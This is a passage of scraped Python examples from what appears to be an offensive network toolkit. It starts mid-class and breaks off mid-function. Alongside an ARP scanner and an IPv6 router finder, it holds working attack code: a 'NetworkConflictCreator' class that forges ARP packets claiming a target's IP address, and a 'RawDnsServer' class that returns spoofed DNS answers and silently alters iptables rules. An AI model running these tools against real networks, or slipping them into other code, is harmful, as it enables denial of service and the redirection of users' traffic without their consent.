            # region Wait
            sleep(self._timeout)
            # endregion

            # region Unique results
            for index in range(len(self._results)):
                if self._results[index]['mac-address'] not in self._mac_addresses:
                    self._unique_results.append(self._results[index])
                    self._mac_addresses.append(self._results[index]['mac-address'])
            # endregion

            # region Exclude IP addresses
            if exclude_ip_addresses is not None:
                self._results = self._unique_results
                self._unique_results = list()
                for index in range(len(self._results)):
                    if self._results[index]['ip-address'] not in exclude_ip_addresses:
                        self._unique_results.append(self._results[index])
                self._results = list()
            # endregion

            # region Get vendors
            if check_vendor:
                for result_index in range(len(self._unique_results)):
                    self._unique_results[result_index]['vendor'] = \
                        self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address'])
            # endregion

            # region Sort by IP address
            self._sorted_results = sorted(self._unique_results, key=lambda ip: inet_aton(ip['ip-address']))
            # endregion

        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

        if len(self._unique_results) == 0:
            if exit_on_failure:
                self._base.print_error('Could not find allive hosts on interface: ', self._your['network-interface'])
                exit(1)

        return self._sorted_results

    # endregion

    # region Get MAC address by IP address
    def get_mac_address(self, target_ip_address: str = '192.168.0.1',
                        timeout: int = 5, retry: int = 5,
                        exit_on_failure: bool = True,
                        show_scan_percentage: bool = False) -> str:
        """
        Get MAC address of IP address on network interface
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param exit_on_failure: Exit if MAC address of target IP address not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: MAC address of target IP address (example: '01:23:45:67:89:0a')
        """

        # region Set result MAC address value
        result_mac_address: str = 'ff:ff:ff:ff:ff:ff'
        # endregion

        try:
            # region Clear lists with scan results
            self._results.clear()
            self._unique_results.clear()
            self._mac_addresses.clear()
            # endregion

            # region Set variables
            self._quit = not show_scan_percentage
            self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address)
            self._timeout = int(timeout)
            self._retry_number = int(retry)
            # endregion

            # region Run _sniffer
            self._thread_manager.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

            # region Wait
            sleep(self._timeout)
            # endregion

            # region Return
            if 'mac-address' in self._results[0].keys():
                result_mac_address = self._results[0]['mac-address']
            # endregion

        except IndexError:
            pass

        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

        if result_mac_address == 'ff:ff:ff:ff:ff:ff':
            if exit_on_failure:
                self._base.print_error('Could not find MAC address of IP address: ', target_ip_address)
                exit(1)

        return result_mac_address

    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict[str, Dict[str, str]]) -> None:
        """
        Analyze ARP reply
        :param packet: Parsed ARP reply
        :return: None
        """

        try:

            # region Asserts
            assert 'ARP' in packet.keys()
            assert 'sender-mac' in packet['ARP'].keys()
            assert 'sender-ip' in packet['ARP'].keys()
            assert 'target-mac' in packet['ARP'].keys()
            assert 'target-ip' in packet['ARP'].keys()
            assert packet['ARP']['target-mac'] == self._your['mac-address']
            assert packet['ARP']['target-ip'] == self._your['ipv4-address']
            # endregion

            # region Parameter Target IPv4 address is None
            if self._target['ipv4-address'] is None:
                self._results.append({
                    'mac-address': packet['ARP']['sender-mac'],
                    'ip-address': packet['ARP']['sender-ip']
                })
            # endregion

            # region Parameter Target IPv4 address is Set
            else:
                if packet['ARP']['sender-ip'] == self._target['ipv4-address']:
                    self._results.append({
                        'mac-address': packet['ARP']['sender-mac'],
                        'ip-address': packet['ARP']['sender-ip']
                    })
            # endregion

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ARP replies
        :return: None
        """
        self._raw_sniff.start(protocols=['Ethernet', 'ARP'],
                              prn=self._analyze_packet,
                              filters={'Ethernet': {'destination': self._your['mac-address']},
                                       'ARP': {'opcode': 2,
                                               'target-mac': self._your['mac-address'],
                                               'target-ip': self._your['ipv4-address']}},
                              network_interface=self._your['network-interface'],
                              scapy_filter='arp',
                              scapy_lfilter=lambda eth: eth.dst == self._your['mac-address'])

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ARP requests
        :return: None
        """
        arp_requests: List[bytes] = list()

        if self._target['ipv4-address'] is not None:
            first_ip_address: str = self._target['ipv4-address']
            last_ip_address: str = self._target['ipv4-address']
        else:
            first_ip_address: str = self._your['first-ipv4-address']
            last_ip_address: str = self._your['last-ipv4-address']

        index: int = 0
        while True:
            current_ip_address: str = str(IPv4Address(first_ip_address) + index)
            index += 1
            if IPv4Address(current_ip_address) > IPv4Address(last_ip_address):
                break

            arp_request: bytes = self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
                                                        ethernet_dst_mac='ff:ff:ff:ff:ff:ff',
                                                        sender_mac=self._your['mac-address'],
                                                        sender_ip=self._your['ipv4-address'],
                                                        target_mac='00:00:00:00:00:00',
                                                        target_ip=current_ip_address)
            arp_requests.append(arp_request)

        number_of_requests: int = len(arp_requests) * int(self._retry_number)
        index_of_request: int = 0
        percent_complete: int = 0

        for _ in range(int(self._retry_number)):
            for arp_request in arp_requests:
                self._raw_send.send_packet(arp_request)
                if not self._quit:
                    index_of_request += 1
                    new_percent_complete = int(float(index_of_request) / float(number_of_requests) * 100)
                    if new_percent_complete > percent_complete:
                        stdout.write('\r')
                        stdout.write(self._base.c_info + 'Interface: ' +
                                     self._base.info_text(self._your['network-interface']) + ' ARP scan percentage: ' +
                                     self._base.info_text(str(new_percent_complete) + '%'))
                        stdout.flush()
                        sleep(0.01)
                        percent_complete = new_percent_complete
        if not self._quit:
            stdout.write('\n')

    # endregion

    # region Check target IPv4 address
    def _check_target_ip_address(self, target_ip_address: Union[None, str]) -> Union[None, str]:
        try:
            if target_ip_address is not None:
                assert self._base.ip_address_in_range(target_ip_address,
                                                      self._your['first-ipv4-address'],
                                                      self._your['last-ipv4-address']), \
                    'Bad Target IPv4 address: ' + \
                    self._base.error_text(target_ip_address) + \
                    '; Target IPv4 address must be in range: ' + \
                    self._base.info_text(self._your['first-ipv4-address'] + ' - ' + self._your['last-ipv4-address']) + \
                    '; example Target IPv4 address: ' + \
                    self._base.info_text(self._base.get_random_ip_on_interface(self._your['network-interface']))
                return target_ip_address
            else:
                return None
        except AssertionError as Error:
            self._base.print_error(Error.args[0])
            exit(1)
class ICMPv6RouterSearch:

    # region Set variables
    _base: Base = Base()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None}

    _retry_number: int = 3
    _timeout: int = 3

    _router_info: Union[None, Dict[str, Union[int, str]]] = None
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address',
                                                                            'ipv6-link-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)
    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict) -> None:
        try:
            assert 'Ethernet' in packet.keys()
            assert 'IPv6' in packet.keys()
            assert 'ICMPv6' in packet.keys()
            assert 'type' in packet['ICMPv6'].keys()

            # 134 Type of ICMPv6 Router Advertisement
            assert packet['ICMPv6']['type'] == 134, 'Not ICMPv6 Router Advertisement packet!'

            # Save router information
            self._router_info = dict()
            self._router_info['router_mac_address'] = packet['Ethernet']['source']
            self._router_info['router_ipv6_address'] = packet['IPv6']['source-ip']
            self._router_info['flags'] = hex(packet['ICMPv6']['flags'])
            self._router_info['router-lifetime'] = int(packet['ICMPv6']['router-lifetime'])
            self._router_info['reachable-time'] = int(packet['ICMPv6']['reachable-time'])
            self._router_info['retrans-timer'] = int(packet['ICMPv6']['retrans-timer'])

            for icmpv6_ra_option in packet['ICMPv6']['options']:
                if icmpv6_ra_option['type'] == 3:
                    self._router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \
                                                  str(icmpv6_ra_option['value']['prefix-length'])
                if icmpv6_ra_option['type'] == 5:
                    self._router_info['mtu'] = int(icmpv6_ra_option['value'], 16)
                if icmpv6_ra_option['type'] == 25:
                    self._router_info['dns-server'] = str(icmpv6_ra_option['value']['address'])

            # Search router vendor
            self._router_info['vendor'] = \
                self._base.get_vendor_by_mac_address(self._router_info['router_mac_address'])

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        # region ICMPv6 multicast ping scan
        self._raw_sniff.start(protocols=['Ethernet', 'IPv6', 'ICMPv6'],
                              prn=self._analyze_packet,
                              filters={'ICMPv6': {'type': 134}},
                              network_interface=self._your['network-interface'],
                              scapy_filter='icmp6')
    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        request: bytes = self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                                 ipv6_src=self._your['ipv6-link-address'])
        self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.1)
    # endregion

    # region Search IPv6 router
    def search(self,
               timeout: int = 3,
               retry: int = 3,
               exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
        """
        Search IPv6 router in network
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param exit_on_failure: Exit if IPv6 router in network not found (default: True)
        :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a',
                                                               'router_ipv6_address': 'fe80::1234:5678:90ab:cdef',
                                                               'flags': '0x0',
                                                               'router-lifetime': 0,
                                                               'reachable-time': 0,
                                                               'retrans-timer': 0,
                                                               'prefix': 'fd00::/64',
                                                               'vendor': 'D-Link International'})
        """

        # region Set variables
        self._timeout = int(timeout)
        self._retry_number = int(retry)
        # endregion

        # region Run _sniffer
        self._thread_manager.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self._timeout)
        # endregion

        # region Return IPv6 router information
        if self._router_info is None:
            if exit_on_failure:
                self._base.error_text('Could not found IPv6 Router on interface: ' + self._your['network-interface'])
                exit(1)
        return self._router_info
Exemple #10
0
class NetworkConflictCreator:

    # region Variables
    _base: Base = Base(admin_only=True,
                       available_platforms=['Linux', 'Darwin', 'Windows'])
    _utils: Utils = Utils()
    _arp: RawARP = RawARP()
    _sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'ipv4-address': None,
        'mac-address': None
    }
    _conflict_packet: Dict[str, Union[None, bytes]] = {
        'request': None,
        'response': None
    }

    _replies: bool = False
    _requests: bool = False
    _make_conflict: bool = False
    _exit_on_success: bool = False

    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'first-ipv4-address',
                'last-ipv4-address'
            ])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start Network Conflict Creator (ncc)
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ip_address: Union[None, str] = None,
              broadcast: bool = False,
              replies: bool = False,
              requests: bool = False,
              exit_on_success: bool = False,
              number_of_packets: int = 10) -> None:
        try:

            # region Set Variables
            self._replies = replies
            self._requests = requests
            self._exit_on_success = exit_on_success
            # endregion

            # region Check Target MAC- and IP-address
            if target_ip_address is not None:
                self._target = self._utils.set_ipv4_target(
                    network_interface=self._your['network-interface'],
                    target_ipv4_address=target_ip_address,
                    target_mac_address=target_mac_address)
            # endregion

            # region Target IP address is not Set
            if self._target['ipv4-address'] is None:
                self._sniff_start()
            # endregion

            # region Target IP address is Set
            if self._target['ipv4-address'] is not None:

                # region Make ARP conflict packets
                self._conflict_packet['response'] = \
                    self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
                                            ethernet_dst_mac=self._target['mac-address'],
                                            sender_mac=self._your['mac-address'],
                                            sender_ip=self._target['ipv4-address'],
                                            target_mac=self._target['mac-address'],
                                            target_ip=self._target['ipv4-address'])
                if broadcast:
                    _destination_mac_address = 'ff:ff:ff:ff:ff:ff'
                else:
                    _destination_mac_address = '33:33:00:00:00:01'
                _random_ip: str = self._base.get_random_ip_on_interface(
                    self._your['network-interface'])
                self._conflict_packet['request'] = \
                    self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
                                           ethernet_dst_mac=_destination_mac_address,
                                           sender_mac=self._your['mac-address'],
                                           sender_ip=self._target['ipv4-address'],
                                           target_mac='00:00:00:00:00:00',
                                           target_ip=_random_ip)
                # endregion

                # region Start Sniffer in thread
                self._thread_manager.add_task(self._sniff_start)
                sleep(3)
                # endregion

                # region Send ARP reply packets
                if self._replies:
                    self._base.print_info(
                        'Send only ARP reply packets to: ',
                        str(self._target['ipv4-address']) + ' (' +
                        str(self._target['mac-address']) + ')')
                    self._raw_send.send_packet(
                        packet=self._conflict_packet['response'],
                        count=number_of_packets,
                        delay=0.5)
                # endregion

                # region Send ARP request packets
                elif self._requests:
                    self._base.print_info(
                        'Send only Multicast ARP request packets to: ',
                        str(self._target['ipv4-address']) + ' (' +
                        str(self._target['mac-address']) + ')')
                    self._raw_send.send_packet(
                        packet=self._conflict_packet['request'],
                        count=number_of_packets,
                        delay=0.5)
                # endregion

                # region Send Multicast ARP request packets
                else:
                    current_number_of_packets: int = 0
                    while not self._make_conflict:
                        if current_number_of_packets == number_of_packets:
                            break
                        else:
                            self._base.print_info(
                                'Send Multicast ARP request to: ',
                                str(self._target['ipv4-address']) + ' (' +
                                str(self._target['mac-address']) + ')')
                            self._raw_send.send_packet(
                                packet=self._conflict_packet['request'])
                            sleep(3)
                            current_number_of_packets += 1
                # endregion
            # endregion

        except KeyboardInterrupt:
            self._base.print_info('Exit NCC')
            exit(0)

        except AssertionError as Error:
            self._base.print_error(Error.args[0])
            exit(1)

    # endregion

    # region Send ARP reply packets
    def _reply(self, packet: Dict):
        try:
            if not self._replies and not self._requests:
                if 'ARP' in packet.keys():
                    if self._target['ipv4-address'] is not None:
                        if packet['ARP']['sender-ip'] == self._target['ipv4-address'] and \
                                packet['ARP']['sender-mac'] == self._target['mac-address']:
                            self._base.print_info(
                                'Send IPv4 Address Conflict ARP response to: ',
                                self._target['ipv4-address'] + ' (' +
                                self._target['mac-address'] + ')')
                            self._make_conflict = True
                            self._raw_send.send_packet(
                                self._conflict_packet['response'])
                    else:
                        if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                                packet['ARP']['opcode'] == 1 and \
                                packet['ARP']['sender-ip'] == packet['ARP']['target-ip']:
                            self._base.print_info(
                                'Sniff Gratuitous ARP request for ',
                                packet['ARP']['sender-ip'] + ' (' +
                                packet['Ethernet']['source'] + ')')
                            self._base.print_info(
                                'Send Gratuitous ARP reply for ',
                                packet['ARP']['sender-ip'] + ' (' +
                                packet['Ethernet']['source'] + ')')
                            self._raw_send.\
                                send_packet(self._arp.make_response(ethernet_src_mac=self._your['mac-address'],
                                                                    ethernet_dst_mac=packet['Ethernet']['source'],
                                                                    sender_mac=self._your['mac-address'],
                                                                    sender_ip=packet['ARP']['sender-ip'],
                                                                    target_mac=packet['Ethernet']['source'],
                                                                    target_ip=packet['ARP']['sender-ip']))

            if 'DHCPv4' in packet.keys():

                if packet['DHCPv4'][53] == 4:
                    self._base.print_success(
                        'DHCPv4 Decline from: ', packet['DHCPv4'][50] + ' (' +
                        packet['Ethernet']['source'] + ')',
                        ' IPv4 address conflict detected!')
                    if self._exit_on_success:
                        self._make_conflict = True
                        exit(0)

                if packet['DHCPv4'][53] == 3:
                    if 50 in packet['DHCPv4'].keys():
                        if 'client-mac-address' in packet['DHCPv4'].keys():
                            if packet['DHCPv4'][
                                    'client-mac-address'] == self._target[
                                        'mac-address']:
                                self._target['ipv4-address'] = str(
                                    packet['DHCPv4'][50])
                        self._base.print_success('DHCPv4 Request from: ',
                                                 packet['Ethernet']['source'],
                                                 ' requested ip: ',
                                                 str(packet['DHCPv4'][50]))

        except KeyboardInterrupt:
            exit(0)

        except KeyError:
            pass

        except TypeError:
            pass

    # endregion

    # region ARP sniffer
    def _sniff_start(self):
        try:
            if self._target['ipv4-address'] is not None:
                self._base.print_info('Sniff ARP or DHCPv4 requests from: ',
                                      str(self._target['mac-address']))
                self._sniff.start(
                    protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                    prn=self._reply,
                    filters={
                        'Ethernet': {
                            'source': self._target['mac-address']
                        },
                        'UDP': {
                            'source-port': 68,
                            'destination-port': 67
                        }
                    },
                    network_interface=self._your['network-interface'],
                    scapy_filter='arp or (udp and (port 67 or 68))',
                    scapy_lfilter=lambda eth: eth.src == self._target[
                        'mac-address'])
            else:
                self._base.print_info('Sniff ARP or DHCPv4 requests ...')
                self._sniff.start(
                    protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                    prn=self._reply,
                    filters={
                        'UDP': {
                            'source-port': 68,
                            'destination-port': 67
                        }
                    },
                    network_interface=self._your['network-interface'],
                    scapy_filter='arp or (udp and (port 67 or 68))')
        except KeyboardInterrupt:
            exit(0)
Exemple #11
0
class RawDnsServer:

    # region Set properties
    base: Base = Base()
    sniff: RawSniff = RawSniff()
    dns: RawDNS = RawDNS()

    rawSocket: socket = socket(AF_PACKET, SOCK_RAW)
    your_ipv4_address: Union[None, str] = None
    your_ipv6_address: Union[None, str] = None
    config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict()

    A_DNS_QUERY: int = 1
    AAAA_DNS_QUERY: int = 28
    NS_DNS_QUERY: int = 2
    MX_DNS_QUERY: int = 15

    log_file_name: Union[None, str] = None
    log_file_format: Union[None, str] = None

    # endregion

    # region Init
    def __init__(self):
        # Iptables drop output ICMP and ICMPv6 destination-unreachable packets
        run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP',
            shell=True)
        run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP',
            shell=True)

    # endregion

    # region Write log file
    def _write_to_log(self, from_ip_address: str, to_ip_address: str,
                      query_type: str, query_name: str, answer_address: str):

        if not isfile(self.log_file_name + '.' + self.log_file_format):
            with open(file=self.log_file_name + '.' + self.log_file_format,
                      mode='w') as log_file:
                if self.log_file_format == 'csv':
                    log_file.write(
                        'From IP address,To IP address,Query type,Query name,Answer address\n'
                    )
                if self.log_file_format == 'xml':
                    log_file.write(
                        '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n'
                    )
                if self.log_file_format == 'json':
                    log_file.write('{\n"dns_queries": [\n')

        with open(file=self.log_file_name + '.' + self.log_file_format,
                  mode='r+') as log_file:

            log_file_pointer: int = getsize(self.log_file_name + '.' +
                                            self.log_file_format)

            if self.log_file_format == 'csv' or self.log_file_format == 'txt':
                log_file.seek(log_file_pointer)
                log_file.write(from_ip_address + ',' + to_ip_address + ',' +
                               query_type + ',' + query_name + ',' +
                               answer_address + '\n')

            if self.log_file_format == 'json':
                if log_file_pointer > 20:
                    log_file.seek(log_file_pointer - 4, 0)
                    log_file.write(',')
                else:
                    log_file.seek(log_file_pointer)
                dump(
                    {
                        'from_ip_address': from_ip_address,
                        'to_ip_address': to_ip_address,
                        'query_type': query_type,
                        'query_name': query_name,
                        'answer_address': answer_address
                    },
                    log_file,
                    indent=4)
                log_file.write(']\n}\n')

            if self.log_file_format == 'xml':
                log_file.seek(log_file_pointer - 15, 0)
                log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' +
                               from_ip_address + '</from_ip_address>\n' +
                               '\t\t<to_ip_address>' + to_ip_address +
                               '</to_ip_address>\n' + '\t\t<query_type>' +
                               query_type + '</query_type>\n' +
                               '\t\t<query_name>' + query_name +
                               '</query_name>\n' + '\t\t<answer_address>' +
                               answer_address + '</answer_address>\n' +
                               '\t</dns_query>\n' + '</dns_queries>\n')

    # endregion

    # region DNS integer query type to string
    @staticmethod
    def _int_type_to_str_type(query_type: int = 1) -> str:
        if query_type == RawDnsServer.A_DNS_QUERY:
            return 'A'
        elif query_type == RawDnsServer.AAAA_DNS_QUERY:
            return 'AAAA'
        elif query_type == RawDnsServer.NS_DNS_QUERY:
            return 'NS'
        elif query_type == RawDnsServer.MX_DNS_QUERY:
            return 'MX'
        else:
            return 'A'

    # endregion

    # region DNS string query type to integer
    @staticmethod
    def _str_type_to_int_type(query_type: str = 'A') -> int:
        if query_type == 'A':
            return RawDnsServer.A_DNS_QUERY
        elif query_type == 'AAAA':
            return RawDnsServer.AAAA_DNS_QUERY
        elif query_type == 'NS':
            return RawDnsServer.NS_DNS_QUERY
        elif query_type == 'MX':
            return RawDnsServer.MX_DNS_QUERY
        else:
            return 1

    # endregion

    # region Get first IPv4 or IPv6 address of domain
    @staticmethod
    def _get_domain_address(query_name: str,
                            query_type: int = 1) -> Union[List[str], None]:

        # region Check DNS query type and set proto
        if query_type == RawDnsServer.AAAA_DNS_QUERY:
            proto: int = AF_INET6
        elif query_type == RawDnsServer.A_DNS_QUERY:
            proto: int = AF_INET
        else:
            return None
        # endregion

        # region Resolve query name
        try:
            # Get list of addresses
            addresses = getaddrinfo(query_name, None, proto)
            # Return first address from list
            return [addresses[0][4][0]]
        except gaierror:
            # Could not resolve name
            return None
        # endregion

    # endregion

    # region DNS reply function
    def _reply(self, request: Dict) -> None:
        try:

            # region This request is DNS query
            assert 'DNS' in request.keys(), 'This is not DNS request!'

            for query in request['DNS']['queries']:

                # region Local variables
                assert ('IPv4' in request.keys() or 'IPv6'
                        in request.keys()), 'Not found Network layer protocol!'
                ip_src: Union[None, str] = None
                ip_dst: Union[None, str] = None
                if 'IPv4' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv4']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv4']['source-ip']
                if 'IPv6' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv6']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv6']['source-ip']
                answers: List[Dict[str, Union[int, str]]] = list()
                addresses: Union[None, str, List[str]] = None
                success: bool = False
                # endregion

                # region Check query name
                if query['name'].endswith('.'):
                    query['name']: str = query['name'][:-1]
                # endregion

                # region Check config
                for fake_domain_regexp in self.config.keys():

                    if match(fake_domain_regexp, query['name']):

                        # region No such domain
                        if 'no such domain' in self.config[
                                fake_domain_regexp].keys():
                            if self.config[fake_domain_regexp][
                                    'no such domain']:
                                addresses = ['no such domain']
                                break
                        # endregion

                        # region Success domain
                        if 'success' in self.config[fake_domain_regexp].keys():
                            if self.config[fake_domain_regexp]['success']:
                                success = True
                        # endregion

                        # region Fake addresses is set
                        query_type_string: str = self._int_type_to_str_type(
                            query['type'])
                        if query_type_string in self.config[
                                fake_domain_regexp].keys():
                            if type(self.config[fake_domain_regexp]
                                    [query_type_string]) is str:
                                if self.config[fake_domain_regexp][
                                        query_type_string] == 'my ipv4 address':
                                    addresses = [self.your_ipv4_address]
                                elif self.config[fake_domain_regexp][
                                        query_type_string] == 'my ipv6 address':
                                    addresses = [self.your_ipv6_address]
                                else:
                                    addresses = [
                                        self.config[fake_domain_regexp]
                                        [query_type_string]
                                    ]
                            if type(self.config[fake_domain_regexp]
                                    [query_type_string]) is list:
                                addresses = self.config[fake_domain_regexp][
                                    query_type_string]
                            break
                        # endregion

                        # region Fake address is NOT set
                        else:
                            addresses = self._get_domain_address(
                                query['name'], query['type'])
                        # endregion

                # endregion

                # region DNS query name NOT in fake domains regexp list
                if addresses is None:
                    addresses = self._get_domain_address(
                        query['name'], query['type'])
                # endregion

                # endregion

                # region Answer addresses is set

                assert addresses is not None, 'Addresses in DNS answer is None!'

                # region Create answer list
                dns_answer_flags = 0x8080

                for address in addresses:
                    if address == 'no such domain':
                        dns_answer_flags = 0x8183
                        answers = list()
                        break
                    else:
                        answers.append({
                            'name': query['name'],
                            'type': query['type'],
                            'class': query['class'],
                            'ttl': 65535,
                            'address': address
                        })

                # endregion

                # region Make dns answer packet
                dns_answer_packet: Union[
                    None, bytes] = self.dns.make_response_packet(
                        ethernet_src_mac=request['Ethernet']['destination'],
                        ethernet_dst_mac=request['Ethernet']['source'],
                        ip_src=ip_src,
                        ip_dst=ip_dst,
                        udp_src_port=request['UDP']['destination-port'],
                        udp_dst_port=request['UDP']['source-port'],
                        transaction_id=request['DNS']['transaction-id'],
                        flags=dns_answer_flags,
                        queries=[query],
                        answers_address=answers)
                # endregion

                # region Send DNS answer packet
                if dns_answer_packet is not None:
                    self.rawSocket.send(dns_answer_packet)
                # endregion

                # region Print info message
                if success and query['name'] != '':
                    self.base.print_success(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                if not success and query['name'] != '':
                    self.base.print_info(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                self._write_to_log(from_ip_address=ip_dst,
                                   to_ip_address=ip_src,
                                   query_type=self._int_type_to_str_type(
                                       query['type']),
                                   query_name=query['name'],
                                   answer_address=(' '.join(addresses)))
                # endregion

                # endregion

            # endregion

        except AssertionError:
            pass

    # endregion

    # region Start DNS listener
    def listen(self,
               listen_network_interface: str = 'eth0',
               listen_port: int = 53,
               target_mac_address: Union[None, str] = None,
               target_ipv4_address: Union[None, str] = None,
               target_ipv6_address: Union[None, str] = None,
               fake_answers: bool = False,
               fake_ipv4_addresses: List[str] = [],
               fake_ipv6_addresses: List[str] = [],
               fake_domains_regexp: List[str] = [],
               no_such_domains: List[str] = [],
               listen_ipv6: bool = False,
               disable_ipv4: bool = False,
               success_domains: List[str] = [],
               config_file: Union[None, str] = None,
               log_file_name: str = 'dns_server_log',
               log_file_format: str = 'csv') -> None:
        try:
            # region Set log file name and format
            self.log_file_name = log_file_name
            self.log_file_format = log_file_format
            # endregion

            # region Set listen UDP port
            if listen_port != 53:
                assert 0 < listen_port < 65536, \
                    'Bad value in "listen_port": ' + self.base.error_text(str(listen_port)) + \
                    ' listen UDP port must be in range: ' + self.base.info_text('1 - 65535')
            # endregion

            # region Get your MAC, IP and IPv6 addresses
            your_mac_address = self.base.get_interface_mac_address(
                listen_network_interface)
            self.your_ipv4_address = self.base.get_interface_ip_address(
                listen_network_interface)
            self.your_ipv6_address = self.base.make_ipv6_link_address(
                your_mac_address)
            if listen_ipv6:
                self.your_ipv6_address = self.base.get_interface_ipv6_link_address(
                    listen_network_interface)
            # endregion

            # region Bind raw socket
            self.rawSocket.bind((listen_network_interface, 0))
            # endregion

            # region Check config file
            if config_file is not None:
                assert isfile(
                    config_file
                ), 'Not found config file: ' + self.base.error_text(
                    str(config_file))
                with open(config_file, 'r') as config_file_descriptor:
                    self.config = load(config_file_descriptor)
            # endregion

            # region Set fake ipv4 addresses
            if len(fake_ipv4_addresses) == 0:
                fake_ipv4_addresses = [self.your_ipv4_address]
            else:
                for fake_ipv4_address in fake_ipv4_addresses:
                    assert self.base.ip_address_validation(fake_ipv4_address), \
                        'Bad fake IPv4 address: ' + self.base.error_text(fake_ipv4_address) + \
                        ' example IPv4 address: ' + self.base.info_text('192.168.1.1')
            # endregion

            # region Set fake ipv6 addresses
            if len(fake_ipv6_addresses) == 0:
                fake_ipv6_addresses = [self.your_ipv6_address]
            else:
                for fake_ipv6_address in fake_ipv6_addresses:
                    assert self.base.ipv6_address_validation(fake_ipv6_address), \
                        'Bad fake IPv6 address: ' + self.base.error_text(fake_ipv6_address) + \
                        ' example IPv6 address: ' + self.base.info_text('fd00::1')
            # endregion

            # region Set success domains
            for success_domain in success_domains:
                try:
                    self.config[success_domain].update({'success': True})
                except KeyError:
                    self.config[success_domain] = {'success': True}
            # endregion

            # region Set no such domains
            for no_such_domain in no_such_domains:
                try:
                    self.config[no_such_domain].update(
                        {'no such domain': True})
                except KeyError:
                    self.config[no_such_domain] = {'no such domain': True}
            # endregion

            # region Set fake domains regexp
            for fake_domain_regexp in fake_domains_regexp:
                try:
                    self.config[fake_domain_regexp].update({
                        'A':
                        fake_ipv4_addresses,
                        'AAAA':
                        fake_ipv6_addresses
                    })
                except KeyError:
                    self.config[fake_domain_regexp] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Set fake answers
            if fake_answers:
                try:
                    self.config['.*'].update({
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    })
                except KeyError:
                    self.config['.*'] = {
                        'A': fake_ipv4_addresses,
                        'AAAA': fake_ipv6_addresses
                    }
            # endregion

            # region Check target MAC address
            if target_mac_address is not None:
                assert self.base.mac_address_validation(target_mac_address), \
                    'Bad target MAC address: ' + self.base.error_text(target_mac_address) + \
                    ' example MAC address: ' + self.base.info_text('01:23:45:67:89:0a')
                self.target_mac_address = target_mac_address
            # endregion

            # region Check target IPv4 address
            if target_ipv4_address is not None:
                assert self.base.ip_address_validation(target_ipv4_address), \
                    'Bad target IPv4 address: ' + self.base.error_text(target_ipv4_address) + \
                    ' example IPv4 address: ' + self.base.info_text('192.168.1.1')
            # endregion

            # region Check target IPv6 address
            if target_ipv6_address is not None:
                assert self.base.ipv6_address_validation(target_ipv6_address), \
                    'Bad target IPv6 address: ' + self.base.error_text(target_ipv6_address) + \
                    ' example IPv6 address: ' + self.base.info_text('fd00::1')
            # endregion

            # region Sniffing DNS requests

            # region Set network filter
            network_filters = {}

